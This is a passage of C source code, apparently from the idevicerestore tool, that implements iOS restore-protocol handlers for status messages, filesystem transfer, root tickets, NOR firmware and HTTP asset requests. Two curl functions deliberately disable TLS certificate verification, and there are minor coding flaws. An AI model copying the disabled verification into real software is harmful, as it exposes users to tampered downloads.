PROPERTY_LIST_SERVICE_E_SUCCESS) { error("ERROR: Failed to start service connection for %s on port %u\n", data_type_str, data_port); free(service); return NULL; } service->client = plclient; service->type = SERVICE_TYPE_PLIST; return service; } static int _restore_service_send(restore_service_client_t service, plist_t plist, plist_format_t fmt) { if (!service) { return -1; } switch (service->type) { case SERVICE_TYPE_RESTORED: return restored_send((restored_client_t)service->client, plist); case SERVICE_TYPE_PLIST: if (fmt == PLIST_FORMAT_BINARY) { return property_list_service_send_binary_plist((property_list_service_client_t)service->client, plist); } return property_list_service_send_xml_plist((property_list_service_client_t)service->client, plist); default: break; } return -1; } static int _restore_service_recv(restore_service_client_t service, plist_t *plist) { if (!service) { return -1; } switch (service->type) { case SERVICE_TYPE_RESTORED: return restored_receive((restored_client_t)service->client, plist); case SERVICE_TYPE_PLIST: return property_list_service_receive_plist((property_list_service_client_t)service->client, plist); default: break; } return -1; } static void _restore_service_free(restore_service_client_t service) { if (!service) { return; } switch (service->type) { case SERVICE_TYPE_RESTORED: break; case SERVICE_TYPE_PLIST: property_list_service_client_free((property_list_service_client_t)service->client); break; default: break; } free(service); } static int lastop = 0; static int restore_handle_previous_restore_log_msg(restored_client_t client, plist_t msg) { plist_t node = NULL; char* restorelog = NULL; node = plist_dict_get_item(msg, "PreviousRestoreLog"); if (!node || plist_get_node_type(node) != PLIST_STRING) { debug("Failed to parse restore log from PreviousRestoreLog plist\n"); return -1; } plist_get_string_val(node, &restorelog); info("Previous Restore Log Received:\n%s\n", restorelog); free(restorelog); return 0; } int restore_handle_progress_msg(struct idevicerestore_client_t* client, plist_t msg) { plist_t node = NULL; uint64_t progress = 0; uint64_t operation = 0; node = plist_dict_get_item(msg, "Operation"); if (!node || plist_get_node_type(node) != PLIST_UINT) { debug("Failed to parse operation from ProgressMsg plist\n"); return -1; } plist_get_uint_val(node, &operation); node = plist_dict_get_item(msg, "Progress"); if (!node || plist_get_node_type(node) != PLIST_UINT) { debug("Failed to parse progress from ProgressMsg plist \n"); return -1; } plist_get_uint_val(node, &progress); /* for restore protocol version < 14 all operation codes > 35 are 1 less so we add one */ int adapted_operation = (int)operation; if (client && client->restore && client->restore->protocol_version < 14) { if (adapted_operation > 35) { adapted_operation++; } } if ((progress > 0) && (progress <= 100)) { if ((int)operation != lastop) { info("%s (%d)\n", restore_progress_string(adapted_operation), (int)operation); } switch (adapted_operation) { case RESTORE_IMAGE: idevicerestore_progress(client, RESTORE_STEP_UPLOAD_FS, progress / 100.0); break; case VERIFY_RESTORE: idevicerestore_progress(client, RESTORE_STEP_VERIFY_FS, progress / 100.0); break; case FLASH_FIRMWARE: idevicerestore_progress(client, RESTORE_STEP_FLASH_FW, progress / 100.0); break; case UPDATE_BASEBAND: case UPDATE_IR_MCU_FIRMWARE: idevicerestore_progress(client, RESTORE_STEP_FLASH_BB, progress / 100.0); break; case REQUESTING_FUD_DATA: idevicerestore_progress(client, RESTORE_STEP_FUD, progress / 100.0); break; case UPDATE_ROSE: case UPDATE_VERIDIAN: case REQUESTING_EAN_DATA: break; default: debug("Unhandled progress operation %d (%d)\n", adapted_operation, (int)operation); break; } } else { info("%s (%d)\n", restore_progress_string(adapted_operation), (int)operation); } lastop = (int)operation; return 0; } int restore_handle_status_msg(struct idevicerestore_client_t* client, plist_t msg) { int result = 0; uint64_t value = 0; char* log = NULL; info("Got status message\n"); // read status code plist_t node = plist_dict_get_item(msg, "Status"); plist_get_uint_val(node, &value); switch(value) { case 0: info("Status: Restore Finished\n"); restore_finished = 1; break; case 0xFFFFFFFFFFFFFFFFLL: info("Status: Verification Error\n"); break; case 6: info("Status: Disk Failure\n"); break; case 14: info("Status: Fail\n"); break; case 27: info("Status: Failed to mount filesystems.\n"); break; case 50: case 51: info("Status: Failed to load SEP Firmware.\n"); break; case 53: info("Status: Failed to recover FDR data.\n"); break; case 1015: info("Status: X-Gold Baseband Update Failed. Defective Unit?\n"); break; default: info("Unhandled status message (%" PRIu64 ")\n", value); debug_plist(msg); break; } // read error code node = plist_dict_get_item(msg, "AMRError"); if (node && plist_get_node_type(node) == PLIST_UINT) { plist_get_uint_val(node, &value); result = -value; if (result > 0) { result = -result; } } // check if log is available node = plist_dict_get_item(msg, "Log"); if (node && plist_get_node_type(node) == PLIST_STRING) { plist_get_string_val(node, &log); info("Log is available:\n%s\n", log); free(log); log = NULL; } return result; } static int restore_handle_baseband_updater_output_data(struct idevicerestore_client_t* client, plist_t message) { int result = -1; plist_t node = plist_dict_get_item(message, "DataPort"); uint64_t u64val = 0; plist_get_uint_val(node, &u64val); uint16_t data_port = (uint16_t)u64val; int attempts = 10; idevice_connection_t connection = NULL; idevice_error_t device_error = IDEVICE_E_SUCCESS; if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } debug("Connecting to baseband updater data port\n"); while (--attempts > 0) { device_error = idevice_connect(client->restore->device, data_port, &connection); if (device_error == IDEVICE_E_SUCCESS) { break; } sleep(1); debug("Retrying connection...\n"); } if (device_error != IDEVICE_E_SUCCESS) { error("ERROR: Unable to connect to baseband updater data port\n"); return result; } int fl = snprintf(NULL, 0, "updater_output-%s.cpio", client->udid); if (fl < 0) { idevice_disconnect(connection); error("ERROR: snprintf failed?!\n"); return result; } char* updater_out_fn = malloc(fl+1); if (!updater_out_fn) { idevice_disconnect(connection); error("ERROR: Could not allocate buffer for filename\n"); return result; } snprintf(updater_out_fn, fl+1, "updater_output-%s.cpio", client->udid); FILE* f = fopen(updater_out_fn, "wb"); if (!f) { error("Could not open %s for writing, will not write baseband updater output data.\n", updater_out_fn); } const int bufsize = 65536; char* buf = malloc(bufsize); if (!buf) { free(updater_out_fn); idevice_disconnect(connection); error("ERROR: Could not allocate buffer\n"); return result; } uint32_t size = 0; while (idevice_connection_receive(connection, buf, bufsize, &size) == IDEVICE_E_SUCCESS) { if (f) { fwrite(buf, 1, size, f); } } if (f) { fclose(f); info("Wrote baseband updater output data to %s\n", updater_out_fn); } free(updater_out_fn); free(buf); idevice_disconnect(connection); result = 0; return result; } static int restore_handle_bb_update_status_msg(struct idevicerestore_client_t* client, plist_t message) { int result = -1; plist_t node = plist_dict_get_item(message, "Accepted"); uint8_t accepted = 0; plist_get_bool_val(node, &accepted); if (!accepted) { error("ERROR: device didn't accept BasebandData\n"); return result; } uint8_t done = 0; node = plist_access_path(message, 2, "Output", "done"); if (node && plist_get_node_type(node) == PLIST_BOOLEAN) { plist_get_bool_val(node, &done); } if (done) { info("Updating Baseband completed.\n"); plist_t provisioning = plist_access_path(message, 2, "Output", "provisioning"); if (provisioning && plist_get_node_type(provisioning) == PLIST_DICT) { char* sval = NULL; node = plist_dict_get_item(provisioning, "IMEI"); if (node && plist_get_node_type(node) == PLIST_STRING) { plist_get_string_val(node, &sval); info("Provisioning:\n"); info("IMEI:%s\n", sval); free(sval); sval = NULL; } } } else { info("Updating Baseband in progress...\n"); } result = 0; return result; } static void restore_asr_progress_cb(double progress, void* userdata) { struct idevicerestore_client_t* client = (struct idevicerestore_client_t*)userdata; if (client) { idevicerestore_progress(client, RESTORE_STEP_UPLOAD_FS, progress); } } int restore_send_filesystem(struct idevicerestore_client_t* client, plist_t message) { asr_client_t asr = NULL; ipsw_archive_t ipsw_dummy = NULL; ipsw_file_handle_t file = NULL; char* fsname = NULL; if (!client || !client->restore || !client->restore->build_identity || !client->restore->device) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } info("About to send filesystem...\n"); if (build_identity_get_component_path(client->restore->build_identity, "OS", &fsname) < 0) { error("ERROR: Unable to get path for filesystem component\n"); return -1; } if (client->filesystem) { char* path = strdup(client->filesystem); const char* fsname_base = path_get_basename(path); char* parent_dir = dirname(path); ipsw_dummy = ipsw_open(parent_dir); file = ipsw_file_open(ipsw_dummy, fsname_base); free(path); } else { file = ipsw_file_open(client->ipsw, fsname); } if (!file) { error("ERROR: Unable to open '%s' in ipsw\n", fsname); free(fsname); } uint16_t asr_port = (uint16_t)plist_dict_get_uint(message, "DataPort"); if (asr_port == 0) { asr_port = ASR_DEFAULT_PORT; } if (asr_open_with_timeout(client->restore->device, &asr, asr_port) < 0) { ipsw_file_close(file); ipsw_close(ipsw_dummy); error("ERROR: Unable to connect to ASR\n"); return -1; } info("Connected to ASR\n"); if (asr_port == ASR_DEFAULT_PORT) { asr_set_progress_callback(asr, restore_asr_progress_cb, (void*)client); } // this step sends requested chunks of data from various offsets to asr so // it can validate the filesystem before installing it info("Validating the filesystem\n"); if (asr_perform_validation(asr, file) < 0) { ipsw_file_close(file); ipsw_close(ipsw_dummy); error("ERROR: ASR was unable to validate the filesystem\n"); asr_free(asr); return -1; } info("Filesystem validated\n"); // once the target filesystem has been validated, ASR then requests the // entire filesystem to be sent. info("Sending filesystem now...\n"); if (asr_send_payload(asr, file) < 0) { ipsw_file_close(file); ipsw_close(ipsw_dummy); error("ERROR: Unable to send payload to ASR\n"); asr_free(asr); return -1; } ipsw_file_close(file); ipsw_close(ipsw_dummy); info("Done sending filesystem\n"); asr_free(asr); return 0; } int restore_send_recovery_os_root_ticket(struct idevicerestore_client_t* client, plist_t message) { restored_error_t restore_error; plist_t dict; info("About to send RecoveryOSRootTicket...\n"); if (client->root_ticket) { dict = plist_new_dict(); plist_dict_set_item(dict, "RecoveryOSRootTicketData", plist_new_data((char*)client->root_ticket, client->root_ticket_len)); } else { unsigned char* data = NULL; unsigned int len = 0; if (!client->tss_recoveryos_root_ticket && !(client->flags & FLAG_CUSTOM)) { error("ERROR: Cannot send RootTicket without TSS\n"); return -1; } if (client->image4supported) { if (tss_response_get_ap_img4_ticket(client->tss_recoveryos_root_ticket, &data, &len) < 0) { error("ERROR: Unable to get ApImg4Ticket from TSS\n"); return -1; } } else { if (!(client->flags & FLAG_CUSTOM) && (tss_response_get_ap_ticket(client->tss, &data, &len) < 0)) { error("ERROR: Unable to get ticket from TSS\n"); return -1; } } dict = plist_new_dict(); if (data && (len > 0)) { plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)data, len)); } else { info("NOTE: not sending RootTicketData (no data present)\n"); } free(data); } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending RecoveryOSRootTicket now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send RootTicket (%d)\n", restore_error); return -1; } info("Done sending RecoveryOS RootTicket\n"); return 0; } int restore_send_root_ticket(struct idevicerestore_client_t* client, plist_t message) { restored_error_t restore_error; plist_t dict; info("About to send RootTicket...\n"); if (client->root_ticket) { dict = plist_new_dict(); plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)client->root_ticket, client->root_ticket_len)); } else { unsigned char* data = NULL; unsigned int len = 0; if (!client->tss && !(client->flags & FLAG_CUSTOM)) { error("ERROR: Cannot send RootTicket without TSS\n"); return -1; } if (client->image4supported) { if (tss_response_get_ap_img4_ticket(client->tss, &data, &len) < 0) { error("ERROR: Unable to get ApImg4Ticket from TSS\n"); return -1; } } else { if (!(client->flags & FLAG_CUSTOM) && (tss_response_get_ap_ticket(client->tss, &data, &len) < 0)) { error("ERROR: Unable to get ticket from TSS\n"); return -1; } } dict = plist_new_dict(); if (data && (len > 0)) { plist_dict_set_item(dict, "RootTicketData", plist_new_data((char*)data, len)); } else { info("NOTE: not sending RootTicketData (no data present)\n"); } free(data); } restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending RootTicket now...\n"); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send RootTicket (%d)\n", restore_error); return -1; } info("Done sending RootTicket\n"); return 0; } typedef struct { int length; char* content; } query_response; static size_t _curl_write_callback(char* data, size_t size, size_t nmemb, query_response* response) { size_t total = size * nmemb; if (total != 0) { response->content = realloc(response->content, response->length + total + 1); memcpy(response->content + response->length, data, total); response->content[response->length + total] = '\0'; response->length += total; } return total; } static size_t _curl_header_callback(char* buffer, size_t size, size_t nitems, void* userdata) { plist_t header_dict = (plist_t)userdata; size_t len = nitems*size; char* key = NULL; char* val = NULL; size_t i = 0; while (i < len) { if (buffer[i] == ':') { key = malloc(i+1); strncpy(key, buffer, i); key[i] = '\0'; i++; while (i < len && buffer[i] == ' ' || buffer[i] == '\t') i++; val = malloc(len-i+1); strncpy(val, buffer+i, len-i); val[len-i] = '\0'; break; } i++; } if (key && val) { plist_dict_set_item(header_dict, key, plist_new_string(val)); } free(key); free(val); return len; } int restore_send_url_asset(struct idevicerestore_client_t* client, plist_t message) { debug("DEBUG: %s\n", __func__); plist_t arguments = plist_dict_get_item(message, "Arguments"); if (!PLIST_IS_DICT(arguments)) { error("ERROR: %s: Unexpected arguments\n", __func__); debug_plist(arguments); return -1; } const char* request_method = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestMethod"), NULL); if (!request_method) { error("ERROR: %s: Unable to extract RequestMethod from Arguments\n", __func__); return -1; } if (strcmp(request_method, "GET")) { error("ERROR: %s: Unexpected RequestMethod '%s' in message\n", __func__, request_method); return -1; } const char* request_url = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestURL"), NULL); if (!request_url) { error("ERROR: %s: Unable to extract RequestURL from Arguments\n", __func__); return -1; } info("Requesting URLAsset from %s\n", request_url); char curl_error_message[CURL_ERROR_SIZE]; CURL* handle = curl_easy_init(); /* disable SSL verification to allow download from untrusted https locations */ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0); query_response* response = malloc(sizeof(query_response)); if (response == NULL) { error("ERROR: %s: Unable to allocate sufficient memory\n", __func__); return -1; } response->length = 0; response->content = malloc(1); response->content[0] = '\0'; curl_easy_setopt(handle, CURLOPT_HTTPGET, 1L); curl_easy_setopt(handle, CURLOPT_ERRORBUFFER, curl_error_message); curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&_curl_write_callback); curl_easy_setopt(handle, CURLOPT_HEADERFUNCTION, &_curl_header_callback); plist_t response_headers = plist_new_dict(); curl_easy_setopt(handle, CURLOPT_HEADERDATA, response_headers); curl_easy_setopt(handle, CURLOPT_WRITEDATA, response); if (idevicerestore_debug) { curl_easy_setopt(handle, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(handle, CURLOPT_URL, request_url); curl_easy_perform(handle); long http_response = 0; curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_response); curl_easy_cleanup(handle); plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "ResponseBody", plist_new_data(response->content, response->length)); plist_dict_set_item(dict, "ResponseBodyDone", plist_new_bool(1)); plist_dict_set_item(dict, "ResponseHeaders", response_headers); plist_dict_set_item(dict, "ResponseStatus", plist_new_uint(http_response)); free(response); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } _restore_service_send(service, dict, PLIST_FORMAT_BINARY); _restore_service_free(service); return 0; } int restore_send_streamed_image_decryption_key(struct idevicerestore_client_t* client, plist_t message) { debug("DEBUG: %s\n", __func__); plist_t arguments = plist_dict_get_item(message, "Arguments"); if (!PLIST_IS_DICT(arguments)) { error("ERROR: %s: Unexpected arguments\n", __func__); debug_plist(arguments); return -1; } const char* request_method = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestMethod"), NULL); if (!request_method) { error("ERROR: %s: Unable to extract RequestMethod from Arguments\n", __func__); return -1; } if (strcmp(request_method, "POST")) { error("ERROR: %s: Unexpected RequestMethod '%s' in message\n", __func__, request_method); return -1; } const char* request_url = plist_get_string_ptr(plist_dict_get_item(arguments, "RequestURL"), NULL); if (!request_url) { error("ERROR: %s: Unable to extract RequestURL from Arguments\n", __func__); return -1; } struct curl_slist* header = NULL; plist_t headers = plist_dict_get_item(arguments, "RequestAdditionalHeaders"); if (!headers) { error("ERROR: %s: Missing 'RequestAdditionalHeaders'\n", __func__); return -1; } uint64_t request_body_size = 0; const char* request_body = plist_get_data_ptr(plist_dict_get_item(arguments, "RequestBody"), &request_body_size); if (!request_body) { error("ERROR: %s: Missing 'RequestBody'\n", __func__); return -1; } info("Requesting image decryption key from %s\n", request_url); char curl_error_message[CURL_ERROR_SIZE]; char header_tmp[1024]; plist_dict_iter iter = NULL; plist_dict_new_iter(headers, &iter); plist_t node = NULL; do { char *key = NULL; plist_dict_next_item(headers, iter, &key, &node); if (!node) break; snprintf(header_tmp, sizeof(header_tmp), "%s: %s", key, plist_get_string_ptr(node, NULL)); curl_slist_append(header, header_tmp); } while (node); plist_mem_free(iter); CURL* handle = curl_easy_init(); /* disable SSL verification to allow download from untrusted https locations */ curl_easy_setopt(handle, CURLOPT_SSL_VERIFYPEER, 0); query_response* response = malloc(sizeof(query_response)); if (response == NULL) { error("ERROR: %s: Unable to allocate sufficient memory\n", __func__); return -1; } response->length = 0; response->content = malloc(1); response->content[0] = '\0'; curl_easy_setopt(handle, CURLOPT_ERRORBUFFER, curl_error_message); curl_easy_setopt(handle, CURLOPT_WRITEFUNCTION, (curl_write_callback)&_curl_write_callback); curl_easy_setopt(handle, CURLOPT_HEADERFUNCTION, &_curl_header_callback); plist_t response_headers = plist_new_dict(); curl_easy_setopt(handle, CURLOPT_HEADERDATA, response_headers); curl_easy_setopt(handle, CURLOPT_WRITEDATA, response); curl_easy_setopt(handle, CURLOPT_HTTPHEADER, header); curl_easy_setopt(handle, CURLOPT_POSTFIELDS, request_body); curl_easy_setopt(handle, CURLOPT_POSTFIELDSIZE, request_body_size); if (idevicerestore_debug) { curl_easy_setopt(handle, CURLOPT_VERBOSE, 1L); } curl_easy_setopt(handle, CURLOPT_FOLLOWLOCATION, 1); curl_easy_setopt(handle, CURLOPT_URL, request_url); curl_easy_perform(handle); curl_slist_free_all(header); long http_response = 0; curl_easy_getinfo(handle, CURLINFO_RESPONSE_CODE, &http_response); curl_easy_cleanup(handle); plist_t dict = plist_new_dict(); plist_dict_set_item(dict, "ResponseBody", plist_new_data(response->content, response->length)); plist_dict_set_item(dict, "ResponseBodyDone", plist_new_bool(1)); plist_dict_set_item(dict, "ResponseHeaders", response_headers); plist_dict_set_item(dict, "ResponseStatus", plist_new_uint(http_response)); free(response); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } _restore_service_send(service, dict, PLIST_FORMAT_BINARY); _restore_service_free(service); return 0; } int restore_send_component(struct idevicerestore_client_t* client, plist_t message, const char* component, const char* component_name) { unsigned int size = 0; unsigned char* data = NULL; char* path = NULL; plist_t blob = NULL; plist_t dict = NULL; restored_error_t restore_error = RESTORE_E_SUCCESS; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } if (component_name == NULL) { component_name = component; } info("About to send %s...\n", component_name); if (client->tss) { if (tss_response_get_path_by_entry(client->tss, component, &path) < 0) { debug("NOTE: No path for component %s in TSS, will fetch from build identity\n", component); } } if (!path) { if (build_identity_get_component_path(client->restore->build_identity, component, &path) < 0) { error("ERROR: Unable to find %s path from build identity\n", component); return -1; } } unsigned char* component_data = NULL; unsigned int component_size = 0; int ret = extract_component(client->ipsw, path, &component_data, &component_size); free(path); path = NULL; if (ret < 0) { error("ERROR: Unable to extract component %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &data, &size); free(component_data); component_data = NULL; if (ret < 0) { error("ERROR: Unable to get personalized component %s\n", component); return -1; } dict = plist_new_dict(); blob = plist_new_data((char*)data, size); char compkeyname[256]; sprintf(compkeyname, "%sFile", component_name); plist_dict_set_item(dict, compkeyname, blob); free(data); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending %s now...\n", component_name); restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send component %s data\n", component_name); return -1; } info("Done sending %s\n", component_name); return 0; } int restore_send_nor(struct idevicerestore_client_t* client, plist_t message) { char* llb_path = NULL; char* llb_filename = NULL; char* sep_path = NULL; char* restore_sep_path = NULL; char firmware_path[PATH_MAX - 9]; char manifest_file[PATH_MAX]; unsigned int manifest_size = 0; unsigned char* manifest_data = NULL; char firmware_filename[PATH_MAX]; unsigned int llb_size = 0; unsigned char* llb_data = NULL; plist_t dict = NULL; unsigned int nor_size = 0; unsigned char* nor_data = NULL; plist_t norimage = NULL; plist_t firmware_files = NULL; int flash_version_1 = 0; if (!client || !client->restore || !client->restore->build_identity) { error("ERROR: %s: idevicerestore client not initialized?!\n", __func__); return -1; } info("About to send NORData...\n"); plist_t arguments = plist_dict_get_item(message, "Arguments"); if (arguments && plist_get_node_type(arguments) == PLIST_DICT) { flash_version_1 = plist_dict_get_item(arguments, "FlashVersion1") ? 1 : 0; } if (client->tss) { if (tss_response_get_path_by_entry(client->tss, "LLB", &llb_path) < 0) { debug("NOTE: Could not get LLB path from TSS data, will fetch from build identity\n"); } } if (llb_path == NULL) { if (build_identity_get_component_path(client->restore->build_identity, "LLB", &llb_path) < 0) { error("ERROR: Unable to get component path for LLB\n"); return -1; } } llb_filename = strstr(llb_path, "LLB"); if (llb_filename == NULL) { error("ERROR: Unable to extract firmware path from LLB filename\n"); free(llb_path); return -1; } memset(firmware_path, '\0', sizeof(firmware_path)); memcpy(firmware_path, llb_path, (llb_filename - 1) - llb_path); info("Found firmware path %s\n", firmware_path); memset(manifest_file, '\0', sizeof(manifest_file)); snprintf(manifest_file, sizeof(manifest_file), "%s/manifest", firmware_path); firmware_files = plist_new_dict(); if (ipsw_file_exists(client->ipsw, manifest_file)) { ipsw_extract_to_memory(client->ipsw, manifest_file, &manifest_data, &manifest_size); } if (manifest_data && manifest_size > 0) { info("Getting firmware manifest from %s\n", manifest_file); char *manifest_p = (char*)manifest_data; char *filename = NULL; while ((filename = strsep(&manifest_p, "\r\n")) != NULL) { if (*filename == '\0') continue; const char *compname = get_component_name(filename); if (!compname) continue; memset(firmware_filename, '\0', sizeof(firmware_filename)); snprintf(firmware_filename, sizeof(firmware_filename), "%s/%s", firmware_path, filename); plist_dict_set_item(firmware_files, compname, plist_new_string(firmware_filename)); } free(manifest_data); } else { info("Getting firmware manifest from build identity\n"); plist_dict_iter iter = NULL; plist_t build_id_manifest = plist_dict_get_item(client->restore->build_identity, "Manifest"); if (build_id_manifest) { plist_dict_new_iter(build_id_manifest, &iter); } if (iter) { char *component = NULL; plist_t manifest_entry; do { component = NULL; manifest_entry = NULL; plist_dict_next_item(build_id_manifest, iter, &component, &manifest_entry); if (component && manifest_entry && plist_get_node_type(manifest_entry) == PLIST_DICT) { uint8_t is_fw = 0; uint8_t is_secondary_fw = 0; uint8_t loaded_by_iboot = 0; plist_t fw_node; fw_node = plist_access_path(manifest_entry, 2, "Info", "IsFirmwarePayload"); if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) { plist_get_bool_val(fw_node, &is_fw); } fw_node = plist_access_path(manifest_entry, 2, "Info", "IsLoadedByiBoot"); if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) { plist_get_bool_val(fw_node, &loaded_by_iboot); } fw_node = plist_access_path(manifest_entry, 2, "Info", "IsSecondaryFirmwarePayload"); if (fw_node && plist_get_node_type(fw_node) == PLIST_BOOLEAN) { plist_get_bool_val(fw_node, &is_secondary_fw); } if (is_fw || (is_secondary_fw && loaded_by_iboot)) { plist_t comp_path = plist_access_path(manifest_entry, 2, "Info", "Path"); if (comp_path) { plist_dict_set_item(firmware_files, component, plist_copy(comp_path)); } } } free(component); } while (manifest_entry); free(iter); } } if (plist_dict_get_size(firmware_files) == 0) { error("ERROR: Unable to get list of firmware files.\n"); return -1; } const char* component = "LLB"; unsigned char* component_data = NULL; unsigned int component_size = 0; int ret = extract_component(client->ipsw, llb_path, &component_data, &component_size); free(llb_path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &llb_data, &llb_size); free(component_data); component_data = NULL; component_size = 0; if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } dict = plist_new_dict(); plist_dict_set_item(dict, "LlbImageData", plist_new_data((char*)llb_data, llb_size)); free(llb_data); if (flash_version_1) { norimage = plist_new_dict(); } else { norimage = plist_new_array(); } plist_dict_iter iter = NULL; plist_dict_new_iter(firmware_files, &iter); while (iter) { char *comp = NULL; plist_t pcomp = NULL; plist_dict_next_item(firmware_files, iter, &comp, &pcomp); if (!comp) { break; } char *comppath = NULL; plist_get_string_val(pcomp, &comppath); if (!comppath) { free(comp); continue; } component = (const char*)comp; if (!strcmp(component, "LLB") || !strcmp(component, "RestoreSEP")) { // skip LLB, it's already passed in LlbImageData // skip RestoreSEP, it's passed in RestoreSEPImageData free(comp); free(comppath); continue; } component_data = NULL; unsigned int component_size = 0; if (extract_component(client->ipsw, comppath, &component_data, &component_size) < 0) { free(iter); free(comp); free(comppath); plist_free(firmware_files); error("ERROR: Unable to extract component: %s\n", component); return -1; } if (personalize_component(component, component_data, component_size, client->tss, &nor_data, &nor_size) < 0) { free(iter); free(comp); free(comppath); free(component_data); plist_free(firmware_files); error("ERROR: Unable to get personalized component: %s\n", component); return -1; } free(component_data); component_data = NULL; component_size = 0; if (flash_version_1) { plist_dict_set_item(norimage, component, plist_new_data((char*)nor_data, nor_size)); } else { /* make sure iBoot is the first entry in the array */ if (!strncmp("iBoot", component, 5)) { plist_array_insert_item(norimage, plist_new_data((char*)nor_data, nor_size), 0); } else { plist_array_append_item(norimage, plist_new_data((char*)nor_data, nor_size)); } } free(comp); free(comppath); free(nor_data); nor_data = NULL; nor_size = 0; } free(iter); plist_free(firmware_files); plist_dict_set_item(dict, "NorImageData", norimage); unsigned char* personalized_data = NULL; unsigned int personalized_size = 0; if (build_identity_has_component(client->restore->build_identity, "RestoreSEP") && build_identity_get_component_path(client->restore->build_identity, "RestoreSEP", &restore_sep_path) == 0) { component = "RestoreSEP"; ret = extract_component(client->ipsw, restore_sep_path, &component_data, &component_size); free(restore_sep_path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &personalized_data, &personalized_size); free(component_data); component_data = NULL; component_size = 0; if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } plist_dict_set_item(dict, "RestoreSEPImageData", plist_new_data((char*)personalized_data, personalized_size)); free(personalized_data); personalized_data = NULL; personalized_size = 0; } if (build_identity_has_component(client->restore->build_identity, "SEP") && build_identity_get_component_path(client->restore->build_identity, "SEP", &sep_path) == 0) { component = "SEP"; ret = extract_component(client->ipsw, sep_path, &component_data, &component_size); free(sep_path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &personalized_data, &personalized_size); free(component_data); component_data = NULL; component_size = 0; if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } plist_dict_set_item(dict, "SEPImageData", plist_new_data((char*)personalized_data, personalized_size)); free(personalized_data); personalized_data = NULL; personalized_size = 0; } if (build_identity_has_component(client->restore->build_identity, "SepStage1") && build_identity_get_component_path(client->restore->build_identity, "SepStage1", &sep_path) == 0) { component = "SepStage1"; ret = extract_component(client->ipsw, sep_path, &component_data, &component_size); free(sep_path); if (ret < 0) { error("ERROR: Unable to extract component: %s\n", component); return -1; } ret = personalize_component(component, component_data, component_size, client->tss, &personalized_data, &personalized_size); free(component_data); component_data = NULL; component_size = 0; if (ret < 0) { error("ERROR: Unable to get personalized component: %s\n", component); return -1; } plist_dict_set_item(dict, "SEPPatchImageData", plist_new_data((char*)personalized_data, personalized_size)); free(personalized_data); personalized_data = NULL; personalized_size = 0; } if (idevicerestore_debug) debug_plist(dict); restore_service_client_t service = _restore_get_service_client_for_data_request(client, message); if (!service) { error("ERROR: %s: Unable to connect to service client\n", __func__); return -1; } info("Sending NORData now...\n"); restored_error_t restore_error = _restore_service_send(service, dict, 0); plist_free(dict); _restore_service_free(service); if (restore_error != RESTORE_E_SUCCESS) { error("ERROR: Unable to send NORData\n"); return -1; } info("Done sending NORData\n"); return 0; } static const char* restore_get_bbfw_fn_for_element(const char* elem) { struct bbfw_fn_elem_t { const char* element; const char* fn; }; struct bbfw_fn_elem_t bbfw_fn_elem[] = { // ICE3 firmware files { "RamPSI", "psi_ram.fls" }, { "FlashPSI", "psi_flash.fls" }, // Trek firmware files { "eDBL", "dbl.mbn" }, { "RestoreDBL", "restoredbl.mbn" }, // Phoenix/Mav4 firmware files { "DBL", "dbl.mbn" }, { "ENANDPRG", "ENPRG.mbn" }, // Mav5 firmware files { "RestoreSBL1", "restoresbl1.mbn" }, { "SBL1", "sbl1.mbn" }, // ICE16 firmware files { "RestorePSI", "restorepsi.bin" }, { "PSI", "psi_ram.bin" }, // ICE19 firmware files { "RestorePSI2", "restorepsi2.bin" }, { "PSI2", "psi_ram2.bin" }, // Mav20 Firmware file { "Misc", "multi_image.mbn" }, { NULL, NULL } }; int i; for (i = 0; bbfw_fn_elem[i].element != NULL; i++) { if (strcmp(bbfw_fn_elem[i].element, elem) == 0) { return bbfw_fn_elem[i].fn; } } return NULL; } static int restore_sign_bbfw(const char* bbfwtmp, plist_t bbtss, const unsigned char* bb_nonce) { int res = -1; // check for BBTicket in result plist_t bbticket = 